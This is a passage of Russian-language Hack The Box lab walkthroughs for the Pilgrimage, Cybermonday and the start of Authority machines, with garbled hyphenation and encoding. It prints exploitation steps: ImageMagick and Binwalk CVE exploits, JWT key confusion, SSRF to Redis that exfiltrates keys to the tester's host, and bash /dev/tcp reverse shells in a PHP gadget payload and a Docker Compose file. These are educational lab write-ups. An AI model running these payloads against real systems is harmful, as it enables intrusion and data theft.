ÒÎ×ÊÀ ÂÕÎÄÀ

Ис поль зуем ути литу , что бы ска чать весь репози торий.git-dumper

git-dumper http://pilgrimage.htb/.git pilgrimage_git 

Ло ги git-dumper

Для работы с git-репози тори ями я исполь зую фун кцию «Сис тема управле ния
вер сиями» в VS Code. В этом репози тории нашел ся все го один ком мит —
началь ный.

Ис тория ком митов

Пе рехо дим к ана лизу исходно го кода сай та. Для регис тра ции и авто риза ции,
как мы узна ли из фай лов  и , исполь зует ся база дан- 

ных SQLite.

register.php login.php

Со дер жимое фай ла register.php

Со дер жимое фай ла login.php

Ре гис три руем ся на сай те, который пред лага ет нам заг рузить изоб ражение,
что бы умень шить его. Вер сии «до» и «пос ле», веро ятно, будут показа ны в таб- 
лице ниже.

Глав ная стра ница поль зовате ля

Да вай заг лянем в исходный код фай ла . Здесь обра баты вает ся

POST-зап рос, содер жащий изоб ражение. Передан ное изоб ражение сох- 
раня ется на сер вере и с помощью ути литы ImageMagick умень шает ся вдвое.
Пос ле обра бот ки поль зовате лю пред лага ют заг рузить новое изоб ражение.

index.php

Со дер жимое фай ла index.php

Сам модуль ImageMagick тоже при сутс тву ет в катало ге сай та. Нам нуж но
узнать его вер сию, а затем поис кать пуб лично дос тупные экс пло иты. Мы
можем манипу лиро вать вход ными дан ными, а это типич ный источник угроз.

./magic -version

Вер сия прог раммы ImageMagick

У нас вер сия ImageMagick 7.1.0-49, ищем в Google готовый экс пло ит.

По иск экс пло ита в Google

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/


ПОВЫШАЕМ ПРИВИЛЕГИИ ЧЕРЕЗ
УЯЗВИМОСТЬ В BINWALK

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

При ложе ние ImageMagick 7.1.0-49 име ет уяз вимость CVE-2022-44268 — чте- 
ние про изволь ного фай ла. Это даст нам воз можность получать содер жимое
опре делен ных фай лов с уда лен ной сис темы. При чина уяз вимос ти зак люча- 
ется в том, что при изме нении раз мера изоб ражения ImageMagick будет
вклю чать содер жимое про филя в соз дава емое изоб ражение, при этом мы
можем манипу лиро вать зна чени ем это го про филя. Можем, нап ример, к кар- 
тинке добавить чанк тек сто вого типа (нап ример, ), содер жащий ключ
и стро ку-зна чение. Если ключ — стро ка , то ImageMagick интер пре- 

тиру ет зна чение как имя фай ла в сис теме и заг ружа ет его содер жимое
как необ работан ный про филь, пос ле чего из нового изоб ражения мож но про- 
читать этот про филь в HEX-фор мате.

tEXt
profile

Для авто мати чес кого изме нения PNG исполь зуем 
. Для про бы про чита ем файл .

экс пло ит из репози- 
тория voidz0r /etc/passwd

cargo run "/etc/passwd"

Соз дание изоб ражения-наг рузки

Те перь заг ружа ем в веб-сер вис соз данное изоб ражение-наг рузку, пос ле
чего получа ем ссыл ку на новое изоб ражение, с изме нен ным раз мером.

Ре зуль тат обра бот ки изоб ражения

Ска чива ем получен ный файл и находим в нем чанк с про филем.

wget http://pilgrimage.htb/shrunk/64a7e8f368191.png 
identify -verbose 64a7e8f368191.png 

Про филь в пре обра зован ном при ложе нии

Ис поль зуем  для декоди рова ния шес тнад цатерич ного зна чения
и получа ем содер жимое фай ла , рас кры вающее нам спи сок

поль зовате лей.

CyberChef
/etc/passwd

Де коди рован ный файл /etc/passwd

Уяз вимость под твер дили, а зна чит, можем ска чать и дру гие инте рес ные фай- 
лы. Нап ример, файл базы дан ных SQLite , о котором мы

узна ли из исходно го кода. Здесь навер няка най дут ся учет ные дан ные поль- 
зовате лей сай та.

/var/db/pilgrimage

Про филь нового изоб ражения

Де коди рован ный файл /var/db/pilgrimage

Это «сырые» дан ные, в которых мож но заб лудить ся, поэто му акти виру ем
еще одну фун кцию CyberChef, что бы отоб разить толь ко стро ки.

Стро ки из фай ла /var/db/pilgrimage

Та ким обра зом получа ем учет ные дан ных трех поль зовате лей. Нас инте ресу- 
ет , пос коль ку такой поль зователь есть и в сис теме тоже. Про буем под- 

клю чить ся к SSH с этим же паролем и забира ем флаг поль зовате ля.

emily

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь нам необ ходимо соб рать информа цию. Что бы не тра тить вре мя
на поис ки и догад ки, я в таких слу чаях исполь зую скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание.

В дереве про цес сов видим скрипт , запус- 

кающий при ложе ние .

/usr/sbin/malwarescan.sh
inotifywait

Де рево про цес сов

В спис ке фай лов, изме нен ных за пос ледние пять минут, видим 

. Этот же каталог переда вал ся
.

/var/www/
pilgrimage.htb/shrunk/malicious.pfs
inotifywait

Пос ледние изме нен ные фай лы

К тому же у нас есть пра во записи в каталог 

 и фай лы в нем.

/var/www/pilgrimage.htb/
shrunk/

Фай лы, дос тупные для записи

Даль ше я обыч но исполь зую ути литу , которая выводит информа цию
о запущен ных про цес сах. Так обна ружил ся пери оди чес кий запуск скрип та 

 от име ни поль зовате ля .

pspy64
/

usr/sbin/malwarescan.sh root

Ло ги pspy64

Да вай гля нем, что это за скрипт.

Со дер жимое фай ла malwarescan.sh

Здесь про исхо дит вызов прог раммы Binwalk, которой пооче ред но переда- 
ются фай лы из катало га . Про верим вер- 
сию исполь зуемой прог раммы и поищем экс пло иты для нее.

/var/www/pilgrimage.htb/shrunk/

Вер сия прог раммы Binwalk

По иск экс пло ита для Binwalk

По пер вой ссыл ке пред став лен  для уяз вимос ти CVE-2022-4510.экс пло ит

Справ ка по экс пло иту

Эта вер сия Binwalk допус кает обход катало га через фун кцию 

в модуле . Ког да Binwalk запус кает ся с парамет ром ,

ата кующий может извлечь фай лы, находя щиеся в любом катало ге фай ловой
сис темы. Най ден ный экс пло ит соз дает файл, который при обра бот ке извле- 
кает наг рузку в каталог . Наг рузка —

это реверс-шелл, что дает нам воз можность уда лен ного выпол нения кода.
Соз даем такой файл и помеща ем в каталог 

.

extractor
plugins/unpfs.py -e

.config/binwalk/plugins

/var/www/pilgrimage.htb/
shrunk/

python3 51249.py exp.png 10.10.14.46 4321 

Соз дание фай ла с наг рузкой

Со дер жимое катало га /var/www/pilgrimage.htb/shrunk/

За пус каем лис тенер ( ) и получа ем бэк коннект от име ни
рута.

pwncat-cs -lp 4321

Флаг рута

Ма шина зах вачена!

https://github.com/voidz0r/CVE-2022-44268
https://gchq.github.io/CyberChef/
https://github.com/carlospolop/PEASS-ng
https://github.com/DominicBreuker/pspy
https://www.exploit-db.com/exploits/51249
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ВЗЛОМ

В этом рай тапе я покажу, как зло умыш- 
ленник может исполь зовать невер ную нас- 
трой ку JSON Web Tokens при ата ке
на веб-сер вер. Так же про экс плу ати руем
обход катало га в Nginx, получим дос туп
к Redis бла года ря SSRF и поуп ражня емся
в ата ках, свя зан ных с Docker.

Всё это — в рам ках зах вата тре ниро воч ной машины Cybermonday с пло щад ки
. Уро вень ее — слож ный.Hack The Box

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.228 cybermonday.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Nmap нашел все го два откры тых пор та: 22 — служ ба OpenSSH 8.4p1 и 80 —
веб-сер вер Nginx 1.25.1.

От кры ваем сайт и пыта емся опре делить, какие исполь зуют ся тех нологии.

Глав ная стра ница сай та

На сай те есть воз можность регис тра ции и авто риза ции — сра зу же зарегис- 
три руем ся. Это откро ет нам дос туп к новым фун кци ям и рас ширит область
тес тирова ния.

Глав ная стра ница авто ризо ван ного поль зовате ля

На сай те ничего инте рес ного най ти не уда лось, поэто му нуж но про вес ти ска- 
ниро вание в поис ках скры тых воз можнос тей и ресур сов.

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — игно риро вать ошиб ки SSL;• -k

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

За даем все парамет ры и запус каем ска ниро вание:

  16  1 feroxbuster -k -u http://cybermonday.htb/ -t -d -w files_
interesting.txt 

Ре зуль тат ска ниро вания фай лов с помощью feroxbuster

Нам дос тупно нес коль ко инте рес ных фай лов. Увы,  ока зал ся пус- 

тым, одна ко из  узна ём нас трой ки дос тупа.

robots.txt
.htaccess

curl http://cybermonday.htb/.htaccess 

Со дер жимое фай ла .htaccess

ÒÎ×ÊÀ ÂÕÎÄÀ

При тес тирова нии фор мы авто риза ции я обна ружил, что если попытать ся
зарегис три ровать вто рого поль зовате ля на тот же поч товый ящик, то появит- 
ся стра ница с ошиб кой. Из нее мы выяс нили, что сайт сде лан на фрей мвор ке
Laravel.

Ошиб ка регис тра ции поль зовате ля

Так же здесь из-за неп равиль ной нас трой ки Nginx воз можна уяз вимость типа
Nginx Alias Traversal. Под робно я ее раз бирал в .
Поп робу ем подоб рать имя фай ла, исполь зуя обход катало га .

рай тапе по машине Pikaboo
/assets../

  8  1 feroxbuster -k -u http://cybermonday.htb/assets../ -t -d -w 
files_interesting.txt 

Ре зуль тат ска ниро вания фай лов с помощью feroxbuster

На ходим мно го инте рес ного, к при меру файл , содер жащий нас трой ки

служб.

.env

Со дер жимое фай ла .env

Так же дос тупен каталог , что дает нам воз можность получить исходные
коды сай та с помощью .

.git
git-dumper

git mkdir 
git-dumper http://cybermonday.htb/assets../.git ./git 

Ра ботать с git-репози тори ем мож но через VS Code.

Ис тория ком митов

Прос матри вая фай лы сай та, узна ём о наличии роли  (стро ка 41).isAdmin

Со дер жимое фай ла User.php

При этом в фай ле  при обновле нии свой ств про филя

поль зовате ля нет никакой про вер ки отправ ляемых парамет ров (стро ки 19–
33).

ProfileController.php

Со дер жимое фай ла ProleController.php

За ходим на стра ницу обновле ния поль зователь ских нас тро ек про филя,
отправ ляем дан ные и перех ватыва ем с помощью . Добав- 

ляем параметр  и отправ ляем зап рос даль ше на сер вер.

Burp Intercept

isAdmin=true

Пе рех вачен ный зап рос

От вет сер вера

Но получа ем ошиб ку, из которой узна ём, что зна чение  не явля ется

типом . Не беда: пов торим отправ ку, но теперь с парамет ром .

true
int isAdmin=1

Пе рех вачен ный зап рос

От вет сер вера

В меню сай та появи лась новая стра ница Dashboard, а зна чит, у нас получи- 
лось поменять роль поль зовате ля. Перей дем на новую стра ницу.

Стра ница Dashboard

На даш борде видим новую навига цион ную панель с пун ктом Changelog. То
есть мы можем получить исто рию изме нений вер сий про дук та. Там час то
встре чает ся важ ная информа ция. На этот раз находим ссыл ку на бета-вер- 
сию сер виса под наз вани ем Webhook.

Стра ница Changelog

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/epi052/feroxbuster
https://github.com/danielmiessler/SecLists
https://xakep.ru/2021/12/06/htb-pikaboo/
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До бав ляем най ден ный домен в файл  и выпол няем зап рос./etc/hosts

10.10.11.228 cybermonday.htb webhooks-api-beta.cybermonday.htb 

curl http://webhooks-api-beta.cybermonday.htb | jq 

От вет сер вера

В отве те получа ем нес коль ко конеч ных точек API, а так же методы зап росов
и необ ходимые парамет ры. Пер вым делом зарегис три руем поль зовате ля
и авто ризу емся.

Ре гис тра ция в сер висе

Ав ториза ция в сер висе

В ответ получа ем токен, который необ ходимо переда вать в HTTP-заголов ке
.x-access-token

Прос мотр веб-хуков

Я пос мотрел дру гие API, и меня заин тересо вало дей ствие , где
переда ются URL-адрес и метод. Это потен циаль ный путь к SSRF. Опре делить
такое дей ствие мож но при соз дании веб-хука, но соз дать его мы не можем,
так как поль зователь неп ривиле гиро ван ный. Давай под робнее пос мотрим
на JWT.

sendRequests

JSON Web Token сос тоит из трех час тей: заголов ка (header), полез ной наг- 
рузки (payload) и под писи. Заголо вок и полез ная наг рузка пред став ляют
собой объ екты JSON, при этом наг рузка может быть любой, это имен но те
кри тичес ки важ ные дан ные, которые переда ются при ложе нию. Заголо вок
содер жит опре делен ные поля:

 — алго ритм, исполь зуемый для под писи/шиф рования. Это обя затель- 
ный ключ;

• alg

 — тип токена. Это поле дол жно иметь зна чение .• typ JWT

Тре тий эле мент вычис ляет ся на осно вании пер вых и зависит от выб ранно го
алго рит ма. Токены могут быть переко диро ваны в ком пак тное пред став ление:
к заголов ку и полез ной наг рузке при меня ется алго ритм Base64-URL, пос ле
чего добав ляет ся под пись и все три эле мен та раз деля ются точ ками.

Ра зоб рать JWT мож но с помощью рас ширения .JWT Editor

Де коди рован ный заголо вок

В поле дан ных видим параметр , отве чающий за при виле гии. Так же я
обра тил вни мание на исполь зование асим метрич ного алго рит ма шиф- 
рования RS256. Еще иног да сер веры пре дос тавля ют свои откры тые клю чи
как объ екты JSON Web Key через стан дар тные URI  или 

. Про верим, нет ли их на сер вере.

role

/jwks.json /.well-
known/jwks.json

От кры тые JWK-клю чи сер вера

Так мы получа ем сце нарий, ког да задан ста тичес кий ключ.

Àòàêà ïóòàíèöû êëþ÷åé
Пред полага ется, что будут обра баты вать ся исклю читель но токены, под писан- 
ные с исполь зовани ем асим метрич ного алго рит ма RS256. Но если обмен
токена ми реали зован невер но, то сер вер, получив токен, под писан ный
при помощи сим метрич ного алго рит ма HS256, будет рас смат ривать откры- 
тый ключ как сек рет HMAC. Таким обра зом ата кующий может под писать
токен, исполь зуя HS256 и откры тый ключ, а сер вер будет исполь зовать тот же
откры тый ключ для про вер ки под писи! Этот метод называ ется «ата ка путани- 
цы клю чей».

Ес ли у тебя уста нов лен Burp с рас ширени ем JWT Editor, выпол нить эту ата- 
ку будет прос то. Пер вым делом копиру ем ключ из , в меню Burp
перехо дим к JWT Editor и выбира ем опцию New RSA Key. В открыв шееся
окош ко и встав ляем ско пиро ван ный ключ.

jwks.json

Рас ширение JWT Editor

За тем перек люча ем фор мат клю ча на PEM и зада ем его иден тифика тор, пос- 
ле чего сох раня ем пре обра зован ный ключ. В таб лице кеширо ван ных клю чей
уви дим толь ко что соз данный.

Пре обра зова ние клю ча

Рас ширение JWT Editor

Те перь воз вра щаем ся к вклад ке Burp Repeater и перехо дим в режим прос- 
мотра JSON Web Token. В заголов ке JWT меня ем алго ритм на HS256, а в
поле дан ных ста вим роль . Пос ле вне сения изме нений перехо дим

к пун кту меню Attack → HMAC Key Confusion и в появив шемся окош ке выбира- 
ем соз данный ранее ключ.

admin

Burp Repeater — режим JSON Web Token

Пос ле под твержде ния клю ча получа ем новый JWT.

Burp Repeater — режим JSON Web Token

Пе рехо дим обратно в режим прос мотра Raw и отправ ляем зап рос с новым
JWT.

От вет сер вера

Ста тус отве та — , а зна чит, ата ка про веде на успешно. Теперь у нас

есть высокие при виле гии на сай те.

success

SSRF
Так как при виле гии повыше ны, соз дадим новый веб-хук.

{
   "name":"ralf_test",
   "description":"test",
   "action":"sendRequest"
}

Соз дание веб-хука

Те перь запус тим локаль ный веб-сер вер:

   python3 -m http.server 80

И обра тим ся к соз данно му хуку, что бы получить зап рос на наш сер вер.
В парамет рах нуж но передать адрес и метод для выпол нения зап роса.

{
   "url":"http://10.10.16.25/test_webhook",
   "method":"GET"
}

Зап рос к веб-хуку

Ло ги веб-сер вера

Не обхо димо узнать, задан ли спи сок раз решен ных методов. Для это го вмес- 
то веб-сер вера запус каем лис тенер netcat и ука зыва ем слу чай ный метод.

Зап рос к веб-хуку

Ло ги лис тенера

В фай ле .env мы наш ли парамет ры для Redis, поэто му поп робу ем обра тить ся
к СУБД и выпол нить зап рос к сво ему тес товому лис тенеру. Для это го исполь- 
зуем коман ду .REPLICAOF

{
   "url":"http://redis:6379",
   "method":"REPLICAOF 10.10.16.25 6379\r\n\r\n"
}

Ло ги лис тенера

Зап рос при ходит, а зна чит, мы можем поп робовать порабо тать с базой дан- 
ных на сер вере.

Redis
Те перь давай эксфиль тру ем все содер жимое базы, для чего сна чала уста- 
новим и запус тим на сво ем хос те .redis-server

sudo apt isntall redis-server
 no redis-server --loglevel verbose --protected-mode

Те перь отправ ляем зап рос для перено са каж дого клю ча с исходно го экзем- 
пля ра на наш.

{
   "url":"http://redis:6379",
   "method":"EVAL 'for key,val in pairs(redis.call("KEYS","*")) do 
redis.pcall("MIGRATE","10.10.16.69","6379",val,0,1000) end' 0\r\n\r\n
"
}

Под клю чаем ся к сво ему сер веру и прос матри ваем дан ные.

redis-cli 
keys *

Клю чи Redis

Ба за хра нит сес сии Laravel. Прос матри вая зна чения по клю чам, получа ем
сери али зован ные дан ные сес сий.

Дан ные Redis

Вни мание прив лека ет параметр , исполь зуемый на стра нице авто риза- 

ции.

token

Ис ходный код стра ницы login

Этот параметр и поможет опре делить нашу сес сию. Сно ва авто ризу емся
на сай те, получим клю чи с сер вера и най дем сес сию с нашим токеном.

Зна чение сес сии

Laravel RCE
Так как Laravel переда ет дан ные сес сии в сери али зован ном фор мате, кон тро- 
лируя эти дан ные, мы можем записать такой гад жет, который при десери али- 
зации выпол нит вре донос ный код. Что бы получить воз можность переза писи
дан ных сес сий, мы можем нас тро ить реп ликацию дан ных СУБД с нашего сер- 
вера на уда лен ный.

{
   "url":"http://redis:6379",
   "method":"REPLICAOF 10.10.16.69 6379\r\n\r\n"
}

Пос ле выпол нения зап роса к сер веру про верим нас трой ки реп ликации
на локаль ном хос те.

info replication 

Нас трой ки реп ликации дан ных Redis

На ходим в парамет рах уда лен ный сер вер, но это еще не всё. Теперь на уда- 
лен ном сер вере раз решим переза пись дан ных.

{
   "url":"http://redis:6379/",
   "method":"CONFIG SET replica-read-only no\r\n\r\n"
}

Ког да СУБД нас тро ена, мож но перей ти к фор мирова нию наг рузки. В слу чае
с Java и .NET обыч но исполь зуют десери али затор ysoserial, ана логич ный есть
и . Сери али зовать будем самый прос той реверс-шелл.для PHP

 phpggc -f -a Laravel/RCE16 system 'bash -c "bash -i >& /dev/tcp/10.
10.16.69/4321 0>&1 2<&1"'

Соз дание наг рузки

Те перь запус каем лис тенер ( ) и переза писы ваем дан- 

ные в Redis:

pwncat-cs -lp 4321

  set 'laravel_session:aySh4jUKXBxA6PxcD5gmlH2zqL4Q7iCAlKTxuUAm' 'a:
2........i:7;}'

Пос ле обновле ния стра ницы на сай те момен таль но получа ем уда лен ную сес- 
сию в тер минале .pwncat-cs

Сес сия поль зовате ля www-data

Продолжение статьи →

https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd
https://github.com/ambionics/phpggc
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Те перь нам нуж но соб рать информа цию. Я буду исполь зовать для это го
скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание.

В выводе из инте рес ного — толь ко информа ция об интерфей сах.

Ин форма ция об интерфей сах

Так как мы работа ем в Kubernetes, прос каниру ем сеть на наличие живых хос- 
тов.

nmap -sn 172.18.0.0/24 

Ре зуль тат ска ниро вания сети

По име нам хос тов понят но, где какие служ бы работа ют. Что бы получить дос- 
туп к этим хос там, нуж но пос тро ить тун нель. Для это го будем исполь зовать
инс тру мент . На локаль ном хос те запус тим сер вер, ожи дающий под клю- 
чения (параметр ) на порт 5432 (параметр ).

Chisel
--reverse -p

./chisel.bin server -p 5432 --reverse

Те перь на уда лен ном хос те запус тим кли ент скую часть. Ука зыва ем адрес сер- 
вера и порт для под клю чения, а так же тип тун неля — .socks

./ch client 10.10.16.69:5432 R:socks 

В логах сер вера дол жны уви деть сооб щение о соз дании сес сии.

Ло ги сер вера Chisel

На хос те 172.18.0.2 раз вернут Docker Registry. Давай опре делим, на каких
пор тах. Для работы через тун нель будем исполь зовать , для чего

в файл кон фигура ций  добавим запись 

. Ког да все готово, ска ниру ем типич ные для служ бы пор ты:

proxychains
/etc/proxychains.conf socks5 127.

0.0.1 1080

 proxychains -q nmap -p5000-5002 -Pn 172.18.0.2 

Ре зуль тат ска ниро вания пор тов

Те перь исполь зуем , что бы получить спи сок репози- 
тори ев.

DockerRegistryGrabber

proxychains -q python3 DockerGraber.py --list http://172.18.0.2 

Об разы Docker Registry

А теперь сдам пим все содер жимое .cybermonday_api

proxychains -q python3 DockerGraber.py --dump_all http://172.18.0.2 

Дамп всех дан ных репози тория

Фай лов очень мно го, и их ана лиз зай мет мно го вре мени, поэто му сна чала
про верим содер жимое базы дан ных.

proxychains -q mysql -h 172.18.0.7 -u root -proot

 show databases;

Су щес тву ющие базы дан ных

Из всех баз пред став ляют инте рес  и . В каж дой
из баз находим таб лицы с дан ными поль зовате лей и получа ем все дан ные.

cybermonday webhooks_api

 use cybermonday;
 show tables;
   select * from users;

Дан ные из базы cybermonday

 use webhooks_api;
 show tables;
   select * from users;
   select * from webhooks;

Дан ные из базы webhooks_api

Хе ши Bcrypt нам ничего не дали, а что могут дать веб-хуки, тоже пока неяс но.
Теперь вер немся к ска чан ным из Docker Registry архи вам. В одном из них
находим исходные коды сер виса.

Со дер жимое архи ва

Arbitrary File Read
В исходном коде веб-при ложе ния находим сек ретный ключ API, а сре ди
конеч ных точек API есть обра бот чик , отсутс тву ющий
в получен ном ранее опи сании.

/webhooks/:uuid/logs

Со дер жимое фай ла Api.php

Со дер жимое фай ла Router.php

Фун кции, которые обра баты вают зап росы к API ,

находят ся в фай ле . У это го API есть две воз можнос ти:

вывод спис ка и чте ние (стро ки 50 и 56).

/webhooks/:uuid/logs
LogsController.php

Со дер жимое фай ла LogsController.php

Фун кция чте ния инте рес нее, так как поз воля ет получить содер жимое фай ла
из фай ловой сис темы. Что бы мы не читали какие попало фай лы, к перемен- 
ной  при меня ются филь тры. Один из них не раз реша ет пос ледова- 
тель ность  (стро ки 59–62), исполь зуемую для обхо да катало га, а вто рой

уда ляет все про белы (стро ки 64–69).

log_name
../

Та кую филь тра цию лег ко обой ти пос ледова тель ностью , которая

при уда лении про бела прев раща ется в . Одна ко нам нуж но, что бы сущес- 
тво вал веб-хук с таким име нем. Это лег ко орга низо вать, так как у нас есть
дос туп к базе дан ных. Меня ем имя хука, а затем пыта емся получить содер- 
жимое фай ла  (не забыва ем исполь зовать в зап росе най ден ный

).

. ./
../

/etc/passwd
api-key

update webhooks set name='../../../../../' where uuid=
'fda96d32-e8c8-4301-8fb3-c821a316cf77';

Из менение име ни хука

{
   "action":"read",
   "log_name":". ./. ./. ./. ./logs/. ./. ./. ./. ./etc/passwd"
}

По луче ние фай ла /etc/passwd

Те перь чита ем файл , содер жащий перемен ные окру- 
жения про цес са.

/proc/self/environ

{
   "action":"read",
   "log_name":". ./. ./. ./. ./logs/. ./. ./. ./. ./proc/self/
environ"
}

По луче ние фай ла /proc/self/environ

По луча ем новый пароль, который необ ходимо сра зу про верить на всех дос- 
тупных сер висах. С ним мы авто ризу емся по SSH и получа ем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Так как раз ведку на хос те мы уже про води ли, оста ется про верить не так мно го
тех ник для повыше ния при виле гий. Одна из них свя зана с запус ком при виле- 
гиро ван ных команд через .sudo

Нас трой ки sudoers

Мы можем запус тить скрипт  от име ни поль зовате- 
ля  и передать ему любой YAML-файл. Взгля нем на содер жимое скрип та.

Сна чала в фун кции  про веря ется, сущес тву ет ли передан ный файл.

Затем выпол няет ся его заг рузка и десери али зация (стро ки 44–53). Сле- 
дом — про вер ка сущес тво вания бло ка  и его переда ча в фун кцию

 (стро ки 55–63). Пос ле это го для каж дого бло ка в фун- 

кци ях ,  и  про веря- 
ется блок  (стро ки 65–73).

/opt/secure_compose.py
root

main

services
check_no_privileged

check_whitelist check_read_only check_no_symlinks
volumes

Ис ходный код secure_compose.py

Ес ли все про вер ки прой дены, то для этой кон фигура ции запус кает ся кон тей- 
нер Docker (стро ки 101–110). Наз вания фун кций про вер ки говорят сами
за себя.

Ис ходный код secure_compose.py

Нам нуж но передать скрип ту такую кон фигура цию, которая поз волит
повысить при виле гии на хос те, но при этом прой дет все про вер ки. Сра зу
обра тим вни мание на то, что нет филь тра для , а зна чит,

передав параметр , мы акти виру ем все при виле гии, что поч ти

экви вален тно . Так же мы можем под клю чить к кон тей неру
кор невой раз дел основной фай ловой сис темы, для это го исполь зуем нас- 
трой ку безопас ности  и ука зыва ем устрой ство 

.

capabilities
cap_add=ALL

privileged=True

apparmor=unconfined /dev/
sda1

Ос талось толь ко получить дос туп из самого кон тей нера, но и эта проб- 
лема лег ко реша ется. В качес тве парамет ра  переда дим

реверс-шелл, который даст нам сес сию при запус ке кон тей нера.

command

В ито ге собира ем сле дующий YAML-файл, запус каем лис тенер (

) и выпол няем скрипт.

pwncat-
cs -lp 4321

version: '3'

services: 
api: 
  image: cybermonday_api 
   command: bash -c "bash -i >/dev/tcp/10.10.16.11/4321 0>&1 2<&1"
  cap_add: 
    - ALL 
  devices: 
    - /dev/sda1:/dev/sda1 
  security_opt: 
    - "apparmor=unconfined"

sudo /opt/secure_compose.py /dev/shm/ralf.yml 

За пуск кон тей нера

Сес сия root в кон тей нере

По луча ем сес сию  в кон тей нере. Мон тиру ем раз дел  и про- 
веря ем имя хос та.

root /dev/sda1

mount /dev/sda1 /mnt/ 
cat /mnt/etc/hostname 

Про вер ка при мон тирован ных фай лов

Все получи лось так, как я и задумы вал. Перехо дим в домаш ний каталог рута
и забира ем пос ледний флаг.

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://github.com/jpillora/chisel
https://github.com/Syzik/DockerRegistryGrabber
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ВЗЛОМ

В этом рай тапе я покажу, как при менять
тех нику ESC1 ADCS для получе ния сер- 
тифика та адми нис тра тора и Pass the Cert
для получе ния дос тупа к хос ту. Так же дос- 
танем учет ные дан ные из Ansible и стриг- 
герим под клю чение к сво ему сер веру LDAP
для перех вата учет ных дан ных.

На шей целью будет зах ват рута на тре ниро воч ной машине Authority с пло щад- 
ки . Уро вень ее слож ности — сред ний.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.222    authority.htb 

И начина ем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Так как Windows может не отве чать на пинг, исклю чим этот шаг из ска ниро- 
вания (опция ).-Pn

Ре зуль тат работы скрип та

Ска нер нашел мно жес тво откры тых пор тов, что харак терно для сер веров
на Windows:

53 — служ ба DNS;•
80 (HTTP) — веб-сер вер Microsoft IIS/10.0;•
88 — служ ба Kerberos;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC);•
139 — служ ба сеан сов NetBIOS, NetLogon;•
389 — служ ба LDAP;•
445 — служ ба SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
5985 — служ ба уда лен ного управле ния WinRM;•
8443 — веб-сер вер, выпол няющий редирект на стра ницу ;• /pwm

